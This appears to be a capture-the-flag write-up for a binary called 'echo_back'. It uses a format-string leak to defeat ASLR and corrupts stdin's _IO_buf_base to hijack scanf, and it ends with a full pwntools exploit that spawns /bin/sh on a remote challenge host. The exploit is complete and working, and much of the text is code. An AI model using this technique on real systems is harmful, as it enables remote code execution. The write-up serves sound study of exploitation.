$ file echo_back echo_back: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=232ab9c69cf82998f32667c8b2aca67bee869ee5, stripped $ checksec echo_back [*] '/root/echo_back' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled $ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.4.0 20160609. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
# here is where we stop pwndbg> context ... ─────────────────────────────────[ DISASM ]───────────────────────────────── 0x555555554c2c call printf@plt <0x555555554890>
But where it actually points to? It is not indicated in pwndbg, so we go back to binary:
1 2 3 4
.text:0000000000000C6C main proc near; DATA XREF: start+1D↑o ... .text:0000000000000D03 call echo_back .text:0000000000000D08 jmp short loc_D0B
As we know, call in assembly codes can be interpreted as:
1 2
pushIP; push rip jmpnearptr; jmp echo_back
The rip here in binary is 0x0D08 and the main address is 0x0C6C, so the return address there should be main addr + (0x0C6C-0x0D08) = main addr + 0x9C. Therefore the main address(and elf base) can be obtained by leaking and calculating (- 0x9C).
By the way, as I input namename before, in set_name(), it is also stored in stack:
As for how to leak by exploiting format string vuln, because it’s on 64-bit, first 6 parameters of a func is stored in registers, so our payloads should be:
1 2 3 4 5
%10$p: to get content %12$p: to get 'rbp addr'in'main()' frame %13$p: to get 'ret addr' of 'echo_back()' and calculate 'main addr' %16$p: to get the name we setin'set_name()' %19$p: to get address of '__libc_start_main'
Though we can control the program flow, we cannot write a only 7-byte payload/shellcode, so here we need to attack scanf. The scanf reads data from stdin:
// in `glibc-2.23\libio\libio.h` --------------------------------------------
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
// in `glibc-2.23\libio\stdio.h` --------------------------------------------
/* Standard streams. */ externstruct _IO_FILE *stdin;/* Standard input stream. */ externstruct _IO_FILE *stdout;/* Standard output stream. */ externstruct _IO_FILE *stderr;/* Standard error output stream. */ /* C89/C99 say they're macros. Make them happy. */ #define stdin stdin #define stdout stdout #define stderr stderr
They are all file pointers, and in the file reading process it depends on _IO_new_file_underflow function to call the syscall _IO_SYSREAD. In file glibc-2.23\libio\fileops.h:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
int _IO_new_file_underflow (_IO_FILE *fp) { _IO_ssize_t count; ... // a limit if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsignedchar *) fp->_IO_read_ptr; ... // action of `_IO_SYSREAD` is about `_IO_buf_base` and `_IO_buf_end` count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); ... // this helps to bypass first limit fp->_IO_read_end += count; ... // till the end return *(unsignedchar *) fp->_IO_read_ptr; }
As _IO_buf_base and _IO_buf_end determine the action of _IO_SYSREAD, we can try to edit them to make it write wherever we want. Since we know the libc base addr, we can get where stdin(_IO_2_1_stdin_) is, therefore we can get where _IO_buf_base and _IO_buf_end are:
Here we first enter set_name() and input the address of _IO_buf_base to let it appear on the stack, then use format string vuln in echo_back() to write only a \x00 to its end. It stored 0x00007ffff7dd1963 before, after overwriting it becomes 0x00007ffff7dd1900 which points to _IO_write_base.
Our aim is to edit _IO_buf_base but we better dont change the value in other places. So next we write from where _IO_buf_base points (_IO_write_base = _IO_2_1_stdin_+4*8) to where _IO_buf_end points (probably_IO_2_1_stdin_+132).
Recover the value of _IO_write_base, _IO_write_ptr and _IO_write_end, write ret addr of main() to _IO_buf_base, and leave enough room for payload when writing _IO_buf_end.
After that we can write our payload directly to ret addr of main() when we next meet scanf(), but there is still a limit:
1 2
if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsignedchar *) fp->_IO_read_ptr;
Though every getchar() gets _IO_read_ptr plus 1, there is:
1
fp->_IO_read_end += count;
So we have to run len(payload) times of getchar() to bypass this restriction. After the round in which we send payload, len(payload) - 1 rounds are needed.
Finally we can write our payload. Exit to trigger it.
from pwn import * from LibcSearcher import * from ctypes import *
context(os='linux', arch='amd64', log_level='debug') sh = process('echo_back') # local test sh = remote('220.249.52.133','36554') elf = ELF('echo_back') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # local test libc = ELF('libc.so.6') defset_name(name): sh.sendlineafter('choice>> ', '1') sh.sendafter('name:',str(name))
defecho_back(sth, length=7): sh.sendlineafter('choice>> ', '2') sh.sendlineafter('length:', str(length)) # 7 is the max sh.send(str(sth))
echo_back('%19$p') sh.recvuntil('0x') res = sh.recvuntil('-') libc_start_main_addr = int(res[:-1],16) - 240 # leak __libc_start_main for libc base libc_addr = libc_start_main_addr - libc.sym['__libc_start_main'] system_addr = libc_addr + libc.sym['system'] bin_sh_addr = libc_addr + libc.search('/bin/sh').next() IO_stdin_addr = libc_addr + libc.sym['_IO_2_1_stdin_'] IO_buf_base = IO_stdin_addr + 0x8 * 7 # leak main addr for elf base echo_back('%13$p') sh.recvuntil('0x') res = sh.recvuntil('-') main_addr = int(res[:-1],16) - 0x9c elf_base = main_addr - 0x0c6c pop_rdi = elf_base + 0x0d93 # leak old rbp to get ret addr and overwrite echo_back('%12$p') sh.recvuntil('0x') res = sh.recvuntil('-') main_rbp = int(res[:-1],16) main_ret = main_rbp + 0x8 # next attack `scanf` # overwrite lowest digit as 0 set_name(p64(IO_buf_base)) echo_back('%16$hhn') # restore other values and change __IO_buf_base payload = p64(IO_stdin_addr + 131)*3 + p64(main_ret) + p64(main_ret+0x8*3) sh.sendlineafter('choice>> ','2') sh.sendafter('length:',payload) # error if using 'sendlineafter' sh.sendline('') # but the '\n' is needed # to pass if (fp->_IO_read_ptr < fp->_IO_read_end) for i inrange(0,len(payload)-1): sh.sendlineafter('choice>> ','2') sh.sendlineafter('length:', '')
# write final payload sh.sendlineafter('choice>> ','2') final_payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) sh.sendlineafter('length:',final_payload) # here a seperated '\n' is also suggested